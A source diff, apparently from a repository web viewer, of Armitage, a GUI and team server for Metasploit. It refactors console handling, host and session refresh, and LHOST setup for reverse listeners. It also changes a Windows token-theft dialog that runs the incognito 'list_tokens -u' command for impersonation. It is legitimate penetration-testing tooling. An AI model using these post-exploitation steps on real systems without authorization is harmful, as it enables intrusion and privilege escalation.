[[$handle getOutputStream] flush];
|
||||
}
|
||||
|
||||
# limit our replay of the event log to 100 events...
|
||||
|
@ -323,6 +328,7 @@ sub client {
|
|||
|
||||
writeObject($handle, $response);
|
||||
}
|
||||
[[$handle getOutputStream] flush];
|
||||
}
|
||||
|
||||
if ($eid !is $null) {
|
||||
|
@ -349,7 +355,7 @@ sub client {
|
|||
|
||||
sub main {
|
||||
global('$client $mclient');
|
||||
local('$server %sessions $sess_lock $read_lock $poll_lock $lock_lock %locks %readq $id @events $error $auth %cache $cach_lock $client_cache $handle');
|
||||
local('$server %sessions $sess_lock $read_lock $poll_lock $lock_lock %locks %readq $id @events $error $auth %cache $cach_lock $client_cache $handle $console');
|
||||
|
||||
$auth = unpack("H*", digest(rand() . ticks(), "MD5"))[0];
|
||||
|
||||
|
@ -394,8 +400,8 @@ sub main {
|
|||
$mclient = $client;
|
||||
initConsolePool(); # this needs to happen... right now.
|
||||
|
||||
# set the LHOST to whatever the user specified
|
||||
call_async($client, "core.setg", "LHOST", $host);
|
||||
# we need this global to be set so our reverse listeners work as expected.
|
||||
$MY_ADDRESS = $host;
|
||||
|
||||
# make sure clients know a team server is present. can't happen async.
|
||||
call($client, "core.setg", "ARMITAGE_TEAM", '1');
|
||||
|
@ -414,21 +420,28 @@ sub main {
|
|||
$lock_lock = semaphore(1);
|
||||
$cach_lock = semaphore(1);
|
||||
|
||||
# set the LHOST to whatever the user specified (use console.write to make the string not UTF-8)
|
||||
$console = createConsole($client);
|
||||
call($client, "console.write", $console, "setg LHOST $host $+ \n");
|
||||
sleep(2000);
|
||||
# absorb the output of this command which is LHOST => ...
|
||||
call($client, "console.read", $console);
|
||||
|
||||
#
|
||||
# create a thread to push console messages to the event queue for all clients.
|
||||
#
|
||||
fork({
|
||||
global('$r');
|
||||
while (1) {
|
||||
sleep(2000);
|
||||
$r = call($client, "console.read", $console);
|
||||
if ($r["data"] ne "") {
|
||||
acquire($poll_lock);
|
||||
push(@events, formatDate("HH:mm:ss") . " " . $r["data"]);
|
||||
release($poll_lock);
|
||||
}
|
||||
sleep(2000);
|
||||
}
|
||||
}, \$client, \$poll_lock, \@events, $console => createConsole($client));
|
||||
}, \$client, \$poll_lock, \@events, \$console);
|
||||
|
||||
#
|
||||
# Create a shared hash that contains a thread for each session...
|
||||
|
|
|
@ -69,8 +69,10 @@ sub createServiceBrowser {
|
|||
thread(lambda({
|
||||
local('$services');
|
||||
$services = call($mclient, "db.services");
|
||||
_refreshServices($services);
|
||||
updateServiceModel(\$hosts, \$model);
|
||||
if ('services' in $services) {
|
||||
_refreshServices($services['services']);
|
||||
updateServiceModel(\$hosts, \$model);
|
||||
}
|
||||
}, \$hosts, \$model));
|
||||
}, \$model, $hosts => $1)];
|
||||
|
||||
|
|
|
@ -86,6 +86,9 @@ global('%shells $ashell $achannel %maxq %wait');
|
|||
m_cmd($sid, "read $channel");
|
||||
}, \$command, \$channel, \$pid, $sid => $1));
|
||||
}
|
||||
else if ($0 eq "end") {
|
||||
showError($2);
|
||||
}
|
||||
};
|
||||
|
||||
%handlers["write"] = {
|
||||
|
@ -270,19 +273,15 @@ sub createShellSessionTab {
|
|||
thread(lambda({
|
||||
local('%r $thread');
|
||||
|
||||
if ($client !is $mclient) {
|
||||
%r = call($mclient, "armitage.lock", $sid);
|
||||
if (%r["error"]) {
|
||||
showError(%r["error"]);
|
||||
return;
|
||||
}
|
||||
%r = call($mclient, "armitage.lock", $sid, "tab is already open");
|
||||
if (%r["error"]) {
|
||||
showError(%r["error"]);
|
||||
return;
|
||||
}
|
||||
|
||||
$thread = [new ConsoleClient: $console, $client, "session.shell_read", "session.shell_write", $null, $sid, 0];
|
||||
[$frame addTab: "Shell $sid", $console, lambda({
|
||||
if ($client !is $mclient) {
|
||||
call_async($mclient, "armitage.unlock", $sid);
|
||||
}
|
||||
call_async($mclient, "armitage.unlock", $sid);
|
||||
[$thread kill];
|
||||
}, \$sid, \$thread), "Shell " . sessionToHost($sid)];
|
||||
}, \$sid, \$console));
|
||||
|
|
|
@ -58,11 +58,9 @@ sub sessionToHost {
|
|||
return $null;
|
||||
}
|
||||
|
||||
sub refreshSessions {
|
||||
if ($0 ne "result") { return; }
|
||||
|
||||
local('$address $key $session $data @routes @highlights $highlight $id $host $route $mask $peer $gateway %addr');
|
||||
$data = convertAll($3);
|
||||
on sessions {
|
||||
local('$address $key $session $data @routes @highlights $highlight $id $host $route $mask $peer %addr @nodes');
|
||||
$data = $1;
|
||||
# warn("&refreshSessions - $data");
|
||||
|
||||
# clear all sessions from the hosts
|
||||
|
@ -108,34 +106,38 @@ sub refreshSessions {
|
|||
foreach $key => $session ($data) {
|
||||
$host = %addr[$key];
|
||||
if ($gateway ne $host && [$route shouldRoute: $host]) {
|
||||
push(@highlights, @($gateway, $host));
|
||||
push(@highlights, @($gateway, $host));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
[SwingUtilities invokeLater: lambda(&refreshGraph, \@routes, \@highlights, \$graph)];
|
||||
# create a data structure with id, description, icon, and tooltip
|
||||
foreach $id => $host (%hosts) {
|
||||
local('$tooltip');
|
||||
if ('os_match' in $host) {
|
||||
$tooltip = $host['os_match'];
|
||||
}
|
||||
else {
|
||||
$tooltip = "I know nothing about $id";
|
||||
}
|
||||
|
||||
return [$graph isAlive];
|
||||
if ($host['show'] eq "1") {
|
||||
push(@nodes, @($id, describeHost($host), showHost($host), $tooltip));
|
||||
}
|
||||
}
|
||||
|
||||
[SwingUtilities invokeLater: let(&refreshGraph, \@routes, \@highlights, \@nodes)];
|
||||
}
|
||||
|
||||
sub refreshGraph {
|
||||
local('$address $key $session $data $highlight $id $host $route $mask');
|
||||
local('$node $id $description $icons $tooltip $highlight');
|
||||
|
||||
# update everything...
|
||||
[$graph start];
|
||||
# update the hosts
|
||||
foreach $id => $host (%hosts) {
|
||||
local('$tooltip');
|
||||
if ('os_match' in $host) {
|
||||
$tooltip = $host['os_match'];
|
||||
}
|
||||
else {
|
||||
$tooltip = "I know nothing about $id";
|
||||
}
|
||||
|
||||
if ($host['show'] eq "1") {
|
||||
[$graph addNode: $id, describeHost($host), showHost($host), $tooltip];
|
||||
}
|
||||
# do the hosts?
|
||||
foreach $node (@nodes) {
|
||||
($id, $description, $icons, $tooltip) = $node;
|
||||
[$graph addNode: $id, $description, $icons, $tooltip];
|
||||
}
|
||||
|
||||
# update the routes
|
||||
|
@ -155,16 +157,14 @@ sub _refreshServices {
|
|||
# clear all sessions from the hosts
|
||||
map({ $1['services'] = %(); }, values(%hosts));
|
||||
|
||||
foreach $service ($1['services']) {
|
||||
foreach $service ($1) {
|
||||
($host, $port) = values($service, @('host', 'port'));
|
||||
%hosts[$host]['services'][$port] = $service;
|
||||
}
|
||||
}
|
||||
|
||||
sub refreshServices {
|
||||
if ($0 ne "result") { return; }
|
||||
_refreshServices(convertAll($3));
|
||||
return [$graph isAlive];
|
||||
on services {
|
||||
_refreshServices($1);
|
||||
}
|
||||
|
||||
sub quickParse {
|
||||
|
@ -180,14 +180,12 @@ sub quickParse {
|
|||
}
|
||||
}
|
||||
|
||||
sub refreshHosts {
|
||||
if ($0 ne "result") { return; }
|
||||
|
||||
on hosts {
|
||||
local('$host $data $address %newh @fixes $key $value');
|
||||
$data = convertAll($3);
|
||||
$data = $1;
|
||||
# warn("&refreshHosts - $data");
|
||||
|
||||
foreach $host ($data["hosts"]) {
|
||||
foreach $host ($data) {
|
||||
$address = $host['address'];
|
||||
if ($address in %hosts && size(%hosts[$address]) > 1) {
|
||||
%newh[$address] = %hosts[$address];
|
||||
|
@ -218,7 +216,6 @@ sub refreshHosts {
|
|||
}
|
||||
|
||||
%hosts = %newh;
|
||||
return [$graph isAlive];
|
||||
}
|
||||
|
||||
sub auto_layout_function {
|
||||
|
@ -413,24 +410,16 @@ sub createDashboard {
|
|||
}
|
||||
}, \$graph)];
|
||||
|
||||
|
||||
setDefaultAutoLayout($graph);
|
||||
|
||||
[$frame setTop: createModuleBrowser($graph, $transfer)];
|
||||
|
||||
$targets = $graph;
|
||||
[[$cortana getSharedData] put: "targets", $graph];
|
||||
[$targets setTransferHandler: $transfer];
|
||||
|
||||
if ($client !is $mclient) {
|
||||
[new ArmitageTimer: $mclient, "db.hosts", 2.5 * 1000L, lambda(&refreshHosts, \$graph), 1];
|
||||
[new ArmitageTimer: $mclient, "db.services", 10 * 1000L, lambda(&refreshServices, \$graph), 1];
|
||||
[new ArmitageTimer: $mclient, "session.list", 2 * 1000L, lambda(&refreshSessions, \$graph), 1];
|
||||
}
|
||||
else {
|
||||
[new ArmitageTimer: $mclient, "db.hosts", 2.5 * 1000L, lambda(&refreshHosts, \$graph), $null];
|
||||
[new ArmitageTimer: $mclient, "db.services", 10 * 1000L, lambda(&refreshServices, \$graph), $null];
|
||||
[new ArmitageTimer: $mclient, "session.list", 2 * 1000L, lambda(&refreshSessions, \$graph), $null];
|
||||
}
|
||||
# now we can tell the scripting engine to start pulling data from metasploit...
|
||||
let(&refreshGraph, \$graph);
|
||||
|
||||
[$graph setGraphPopup: lambda(&targetPopup, \$graph)];
|
||||
[$graph addActionForKeySetting: "graph.save_screenshot.shortcut", "ctrl pressed P", lambda({
|
||||
|
|
|
@ -8,33 +8,45 @@ import java.awt.event.*;
|
|||
import javax.swing.*;
|
||||
|
||||
sub updateTokenList {
|
||||
local('$queue');
|
||||
$queue = [new armitage.ConsoleQueue: $client];
|
||||
[$queue addCommand: $null, "use post/windows/gather/enum_domain_tokens"];
|
||||
[$queue addCommand: $null, "set SESSION $1"];
|
||||
[$queue addCommand: "x", "run"];
|
||||
|
||||
# update the dialog to indicate that things are changing...
|
||||
[$3 setEnabled: 0];
|
||||
[$3 setText: "Grabbing tokens..."];
|
||||
|
||||
[$queue addListener: lambda({
|
||||
local('@rows $row');
|
||||
# setup incognito and list the tokens...
|
||||
m_cmd_callback($1, "use incognito", {});
|
||||
m_cmd_callback($1, "sysinfo", {});
|
||||
m_cmd_callback($1, "sysinfo", {});
|
||||
m_cmd_callback($1, "sysinfo", {});
|
||||
m_cmd_callback($1, "list_tokens -u", lambda({
|
||||
if ($0 eq "end") {
|
||||
local('$entry $row $type');
|
||||
[$model clear: 32];
|
||||
foreach $entry (split("\n", $2)) {
|
||||
$entry = ["$entry" trim];
|
||||
if ($entry eq "Delegation Tokens Available") {
|
||||
$type = "delegation";
|
||||
}
|
||||
else if ($entry eq "Impersonation Tokens Available") {
|
||||
$type = "impersonation";
|
||||
}
|
||||
else if ($entry ismatch '=*' || $entry eq "No tokens available" || " " isin $entry) {
|
||||
# do nothing...
|
||||
}
|
||||
else if ($entry ne "") {
|
||||
$row = %();
|
||||
$row['Token Type'] = $type;
|
||||
$row['Name'] = $entry;
|
||||
[$model addEntry: $row];
|
||||
}
|
||||
}
|
||||
[$model fireListeners];
|
||||
|
||||
@rows = parseTextTable($3, @("Token Type", "Account Type", "Name", "Domain Admin"));
|
||||
[$model clear: size(@rows)];
|
||||
foreach $row (@rows) {
|
||||
[$model addEntry: $row];
|
||||
dispatchEvent(lambda({
|
||||
[$refresh setEnabled: 1];
|
||||
[$refresh setText: "Refresh"];
|
||||
}, \$refresh));
|
||||
}
|
||||
[$model fireListeners];
|
||||
|
||||
dispatchEvent(lambda({
|
||||
[$refresh setEnabled: 1];
|
||||
[$refresh setText: "Refresh"];
|
||||
}, \$refresh));
|
||||
|
||||
[$queue stop];
|
||||
}, $model => $2, $refresh => $3, \$queue)];
|
||||
[$queue start];
|
||||
}, $model => $2, $refresh => $3));
|
||||
}
|
||||
|
||||
sub stealToken {
|
||||
|
@ -42,7 +54,7 @@ sub stealToken {
|
|||
$dialog = [new JPanel];
|
||||
[$dialog setLayout: [new BorderLayout]];
|
||||
|
||||
($table, $model) = setupTable("Name", @("Token Type", "Account Type", "Name", "Domain Admin"), @());
|
||||
($table, $model) = setupTable("Name", @("Token Type", "Name"), @());
|
||||
[$table setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
|
||||
[$dialog add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||
|
||||
|
|
|
@ -44,24 +44,7 @@ sub call {
|
|||
|
||||
# recurses through Java/Sleep data structures and makes sure everything is a Sleep data structure.
|
||||
sub convertAll {
|
||||
if ($1 is $null) {
|
||||
return $1;
|
||||
}
|
||||
else if ($1 isa ^Map) {
|
||||
return convertAll(copy([SleepUtils getHashWrapper: $1]));
|
||||
}
|
||||
else if ($1 isa ^Collection) {
|
||||
return convertAll(copy([SleepUtils getArrayWrapper: $1]));
|
||||
}
|
||||
else if (-isarray $1 || -ishash $1) {
|
||||
local('$key $value');
|
||||
|
||||
foreach $key => $value ($1) {
|
||||
$value = convertAll($value);
|
||||
}
|
||||
}
|
||||
|
||||
return $1;
|
||||
return [cortana.core.FilterManager convertAll: $1];
|
||||
}
|
||||
|
||||
# cleans the prompt text from an MSF RPC call
|
||||
|
@ -77,7 +60,8 @@ sub setupConsoleStyle {
|
|||
$style = join("\n", readAll($handle));
|
||||
closef($handle);
|
||||
}
|
||||
[$1 setStyle: $style];
|
||||
|
||||
[$1 setStyle: filter_data("console_style", $style)[0]];
|
||||
}
|
||||
|
||||
sub setupEventStyle {
|
||||
|
@ -88,7 +72,8 @@ sub setupEventStyle {
|
|||
$style = join("\n", readAll($handle));
|
||||
closef($handle);
|
||||
}
|
||||
[$1 setStyle: $style];
|
||||
|
||||
[$1 setStyle: filter_data("event_style", $style)[0]];
|
||||
}
|
||||
|
||||
sub createDisplayTab {
|
||||
|
@ -115,7 +100,7 @@ sub createConsolePanel {
|
|||
setupConsoleStyle($console);
|
||||
|
||||
$result = call($client, "console.create");
|
||||
$thread = [new ConsoleClient: $console, $client, "console.read", "console.write", "console.destroy", $result['id'], $1];
|
||||
$thread = [new ConsoleClient: $console, $aclient, "console.read", "console.write", "console.destroy", $result['id'], $1];
|
||||
[$thread setMetasploitConsole];
|
||||
|
||||
[$thread setSessionListener: {
|
||||
|
@ -167,7 +152,10 @@ sub createConsoleTab {
|
|||
|
||||
sub setg {
|
||||
%MSF_GLOBAL[$1] = $2;
|
||||
call_async($client, "core.setg", $1, $2);
|
||||
local('$c');
|
||||
$c = createConsole($client);
|
||||
call_async($client, "console.write", $c, "setg $1 $2 $+ \n");
|
||||
call_async($client, "console.release", $c);
|
||||
}
|
||||
|
||||
sub createDefaultHandler {
|
||||
|
@ -183,6 +171,11 @@ sub createDefaultHandler {
|
|||
|
||||
sub setupHandlers {
|
||||
find_job("Exploit: multi/handler", {
|
||||
if ($cortana !is $null) {
|
||||
warn("Starting Cortana on $MY_ADDRESS");
|
||||
[$cortana start: $MY_ADDRESS];
|
||||
}
|
||||
|
||||
if ($1 == -1) {
|
||||
createDefaultHandler();
|
||||
}
|
||||
|
@ -239,8 +232,8 @@ sub getBindAddress {
|
|||
local('$queue');
|
||||
if ('LHOST' in %MSF_GLOBAL) {
|
||||
$MY_ADDRESS = %MSF_GLOBAL['LHOST'];
|
||||
setupHandlers();
|
||||
warn("Used the incumbent: $MY_ADDRESS");
|
||||
setupHandlers();
|
||||
}
|
||||
else {
|
||||
$queue = [new ConsoleQueue: $client];
|
||||
|
@ -249,7 +242,7 @@ sub getBindAddress {
|
|||
local('$address');
|
||||
$address = convertAll([$queue tabComplete: "setg LHOST "]);
|
||||
$address = split('\\s+', $address[0])[2];
|
||||
|
||||
|
||||
if ($address eq "127.0.0.1") {
|
||||
[SwingUtilities invokeLater: {
|
||||
local('$address');
|
||||
|
@ -266,8 +259,8 @@ sub getBindAddress {
|
|||
else {
|
||||
warn("Used the tab method: $address");
|
||||
setg("LHOST", $address);
|
||||
setupHandlers();
|
||||
$MY_ADDRESS = $address;
|
||||
setupHandlers();
|
||||
}
|
||||
}, \$queue)];
|
||||
[$queue start];
|
||||
|
@ -408,16 +401,23 @@ sub connectDialog {
|
|||
[$dialog add: center($button, $help), [BorderLayout SOUTH]];
|
||||
|
||||
[$button addActionListener: lambda({
|
||||
[$dialog setVisible: 0];
|
||||
connectToMetasploit([$host getText], [$port getText], [$user getText], [$pass getText]);
|
||||
local('$h $p $u $s @o');
|
||||
|
||||
if ([$host getText] eq "127.0.0.1") {
|
||||
# clean up the user options...
|
||||
@o = @([$host getText], [$port getText], [$user getText], [$pass getText]);
|
||||
@o = map({ return ["$1" trim]; }, @o);
|
||||
($h, $p, $u, $s) = @o;
|
||||
|
||||
[$dialog setVisible: 0];
|
||||
connectToMetasploit($h, $p, $u, $s);
|
||||
|
||||
if ($h eq "127.0.0.1" || $h eq "localhost") {
|
||||
try {
|
||||
closef(connect("127.0.0.1", [$port getText], 1000));
|
||||
closef(connect("127.0.0.1", $p, 1000));
|
||||
}
|
||||
catch $ex {
|
||||
if (!askYesNo("A Metasploit RPC server is not running or\nnot accepting connections yet. Would you\nlike me to start Metasploit's RPC server\nfor you?", "Start Metasploit?")) {
|
||||
startMetasploit([$user getText], [$pass getText], [$port getText]);
|
||||
startMetasploit($u, $s, $p);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -453,6 +453,10 @@ sub elog {
|
|||
}
|
||||
|
||||
sub module_execute {
|
||||
return invoke(&_module_execute, filter_data_array("user_launch", @_));
|
||||
}
|
||||
|
||||
sub _module_execute {
|
||||
if ([$preferences getProperty: "armitage.show_all_commands.boolean", "true"] eq "true") {
|
||||
local('$host');
|
||||
|
||||
|
@ -527,11 +531,11 @@ sub listDownloads {
|
|||
%types[$1] = $type;
|
||||
}
|
||||
|
||||
# figure out the path...
|
||||
$path = strrep(getFileParent($1), $root, '');
|
||||
if (strlen($path) >= 2) {
|
||||
$path = substr($path, 1);
|
||||
}
|
||||
# figure out the path...
|
||||
$path = strrep(getFileParent($1), $root, '');
|
||||
if (strlen($path) >= 2) {
|
||||
$path = substr($path, 1);
|
||||
}
|
||||
|
||||
# return a description of the file.
|
||||
return %(
|
||||
|
|
|
@ -9,6 +9,8 @@ import java.awt.event.*;
|
|||
|
||||
import java.util.*;
|
||||
|
||||
import cortana.gui.MenuBuilder;
|
||||
|
||||
import ui.*;
|
||||
|
||||
public class ArmitageApplication extends JFrame {
|
||||
|
@ -17,11 +19,35 @@ public class ArmitageApplication extends JFrame {
|
|||
protected JMenuBar menus = new JMenuBar();
|
||||
protected ScreenshotManager screens = null;
|
||||
protected KeyBindings keys = new KeyBindings();
|
||||
protected MenuBuilder builder = null;
|
||||
|
||||
public void setScreenshotManager(ScreenshotManager m) {
|
||||
screens = m;
|
||||
}
|
||||
|
||||
public void installMenu(MouseEvent ev, String key, Stack args) {
|
||||
if (builder == null) {
|
||||
System.err.println("Menu builder was never installed! " + key);
|
||||
return;
|
||||
}
|
||||
|
||||
builder.installMenu(ev, key, args);
|
||||
}
|
||||
|
||||
public void setupMenu(JComponent parent, String key, Stack args) {
|
||||
if (builder == null) {
|
||||
System.err.println("Menu builder was never installed! " + key);
|
||||
return;
|
||||
}
|
||||
|
||||
builder.setupMenu(parent, key, args);
|
||||
}
|
||||
|
||||
public void setMenuBuilder(MenuBuilder b) {
|
||||
System.err.println("Setting up menu builder: " + b);
|
||||
builder = b;
|
||||
}
|
||||
|
||||
public void bindKey(String description, KeyHandler b) {
|
||||
keys.bind(description, b);
|
||||
}
|
||||
|
|
|
@ -12,6 +12,8 @@ import java.util.*;
|
|||
|
||||
import java.io.*;
|
||||
|
||||
import cortana.core.*;
|
||||
|
||||
/**
|
||||
* This class launches Armitage and loads the scripts that are part of it.
|
||||
*/
|
||||
|
@ -21,12 +23,31 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function {
|
|||
}
|
||||
|
||||
public Scalar evaluate(String name, ScriptInstance script, Stack args) {
|
||||
try {
|
||||
InputStream i = this.getClass().getClassLoader().getResourceAsStream(BridgeUtilities.getString(args, ""));
|
||||
return SleepUtils.getScalar(i);
|
||||
if (name.equals("&_args")) {
|
||||
ScalarArray a = BridgeUtilities.getArray(args);
|
||||
Stack temp = new Stack();
|
||||
Iterator i = a.scalarIterator();
|
||||
while (i.hasNext()) {
|
||||
temp.add(0, i.next());
|
||||
}
|
||||
|
||||
return SleepUtils.getScalar(temp);
|
||||
}
|
||||
catch (Exception ex) {
|
||||
throw new RuntimeException(ex.getMessage());
|
||||
else {
|
||||
try {
|
||||
String file = BridgeUtilities.getString(args, "");
|
||||
if (new File(file).exists()) {
|
||||
InputStream i = new FileInputStream(file);
|
||||
return SleepUtils.getScalar(i);
|
||||
}
|
||||
else {
|
||||
InputStream i = this.getClass().getClassLoader().getResourceAsStream(file);
|
||||
return SleepUtils.getScalar(i);
|
||||
}
|
||||
}
|
||||
catch (Exception ex) {
|
||||
throw new RuntimeException(ex.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -53,6 +74,7 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function {
|
|||
"scripts/browser.sl",
|
||||
"scripts/pivots.sl",
|
||||
"scripts/services.sl",
|
||||
"scripts/scripts.sl",
|
||||
"scripts/loot.sl",
|
||||
"scripts/tokens.sl",
|
||||
"scripts/downloads.sl",
|
||||
|
@ -88,6 +110,7 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function {
|
|||
/* setup a function or two */
|
||||
Hashtable environment = new Hashtable();
|
||||
environment.put("&resource", this);
|
||||
environment.put("&_args", this);
|
||||
|
||||
/* set our command line arguments into a var */
|
||||
variables.putScalar("@ARGV", ObjectUtilities.BuildScalar(false, args));
|
||||
|
@ -104,6 +127,19 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function {
|
|||
serverMode = true;
|
||||
}
|
||||
|
||||
/* setup Cortana event and filter bridges... we will install these into
|
||||
Armitage */
|
||||
if (!serverMode) {
|
||||
EventManager events = new EventManager();
|
||||
FilterManager filters = new FilterManager();
|
||||
|
||||
variables.putScalar("$__events__", SleepUtils.getScalar(events));
|
||||
variables.putScalar("$__filters__", SleepUtils.getScalar(filters));
|
||||
|
||||
loader.addGlobalBridge(events.getBridge());
|
||||
loader.addGlobalBridge(filters.getBridge());
|
||||
}
|
||||
|
||||
/* load the appropriate scripts */
|
||||
String[] scripts = serverMode ? getServerScripts() : getGUIScripts();
|
||||
|
||||
|
|
|
@ -102,17 +102,11 @@ public class ConsoleClient implements Runnable, ActionListener {
|
|||
/* called when the associated tab is closed */
|
||||
public void actionPerformed(ActionEvent ev) {
|
||||
if (destroyCommand != null) {
|
||||
new Thread(new Runnable() {
|
||||
public void run() {
|
||||
try {
|
||||
connection.execute(destroyCommand, new Object[] { session });
|
||||
}
|
||||
catch (Exception ex) {
|
||||
ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
}).start();
|
||||
((RpcAsync)connection).execute_async(destroyCommand, new Object[] { session });
|
||||
}
|
||||
|
||||
/* we don't need to keep reading from this console */
|
||||
kill();
|
||||
}
|
||||
|
||||
protected void finalize() {
|
||||
|
|
|
@ -20,11 +20,11 @@ public abstract class GenericTabCompletion {
|
|||
return window;
|
||||
}
|
||||
|
||||
public GenericTabCompletion(Console window) {
|
||||
this.window = window;
|
||||
public GenericTabCompletion(Console windowz) {
|
||||
this.window = windowz;
|
||||
|
||||
window.addActionForKey("pressed TAB", new AbstractAction() {
|
||||
public void actionPerformed(ActionEvent ev) {
|
||||
public void actionPerformed(final ActionEvent ev) {
|
||||
tabComplete(ev);
|
||||
}
|
||||
});
|
||||
|
@ -32,59 +32,76 @@ public abstract class GenericTabCompletion {
|
|||
|
||||
public abstract Collection getOptions(String text);
|
||||
|
||||
private void tabCompleteFirst(String text) {
|
||||
try {
|
||||
LinkedHashSet responses = new LinkedHashSet();
|
||||
Collection options = getOptions(text);
|
||||
|
||||
if (options == null)
|
||||
return;
|
||||
|
||||
/* cycle through all of our options, we want to split items up to the
|
||||
first slash. We also want them to be unique and ordered (hence the
|
||||
linked hash set */
|
||||
Iterator i = options.iterator();
|
||||
while (i.hasNext()) {
|
||||
String option = i.next() + "";
|
||||
|
||||
String begin;
|
||||
String end;
|
||||
|
||||
if (text.length() > option.length()) {
|
||||
begin = option;
|
||||
end = "";
|
||||
}
|
||||
else {
|
||||
begin = option.substring(0, text.length());
|
||||
end = option.substring(text.length());
|
||||
}
|
||||
|
||||
int nextSlash;
|
||||
if ((nextSlash = end.indexOf('/')) > -1 && (nextSlash + 1) < end.length()) {
|
||||
end = end.substring(0, nextSlash);
|
||||
}
|
||||
|
||||
responses.add(begin + end);
|
||||
}
|
||||
|
||||
responses.add(text);
|
||||
|
||||
synchronized (window) {
|
||||
tabs = responses.iterator();
|
||||
last = (String)tabs.next();
|
||||
}
|
||||
|
||||
SwingUtilities.invokeLater(new Runnable() {
|
||||
public void run() {
|
||||
window.getInput().setText(last);
|
||||
}
|
||||
});
|
||||
}
|
||||
catch (Exception ex) {
|
||||
ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public void tabComplete(ActionEvent ev) {
|
||||
String text = window.getInput().getText();
|
||||
final String text = window.getInput().getText();
|
||||
if (text.length() == 0)
|
||||
return;
|
||||
|
||||
if (tabs != null && tabs.hasNext() && text.equals(last)) {
|
||||
last = (String)tabs.next();
|
||||
window.getInput().setText(last);
|
||||
}
|
||||
else {
|
||||
try {
|
||||
LinkedHashSet responses = new LinkedHashSet();
|
||||
Collection options = getOptions(text);
|
||||
|
||||
if (options == null)
|
||||
return;
|
||||
|
||||
/* cycle through all of our options, we want to split items up to the
|
||||
first slash. We also want them to be unique and ordered (hence the
|
||||
linked hash set */
|
||||
Iterator i = options.iterator();
|
||||
while (i.hasNext()) {
|
||||
String option = i.next() + "";
|
||||
|
||||
String begin;
|
||||
String end;
|
||||
|
||||
if (text.length() > option.length()) {
|
||||
begin = option;
|
||||
end = "";
|
||||
}
|
||||
else {
|
||||
begin = option.substring(0, text.length());
|
||||
end = option.substring(text.length());
|
||||
}
|
||||
|
||||
int nextSlash;
|
||||
if ((nextSlash = end.indexOf('/')) > -1 && (nextSlash + 1) < end.length()) {
|
||||
end = end.substring(0, nextSlash);
|
||||
}
|
||||
|
||||
responses.add(begin + end);
|
||||
}
|
||||
|
||||
responses.add(text);
|
||||
|
||||
tabs = responses.iterator();
|
||||
synchronized (window) {
|
||||
if (tabs != null && tabs.hasNext() && text.equals(last)) {
|
||||
last = (String)tabs.next();
|
||||
|
||||
window.getInput().setText(last);
|
||||
return;
|
||||
}
|
||||
catch (Exception ex) {
|
||||
ex.printStackTrace();
|
||||
else {
|
||||
new Thread(new Runnable() {
|
||||
public void run() {
|
||||
tabCompleteFirst(text);
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue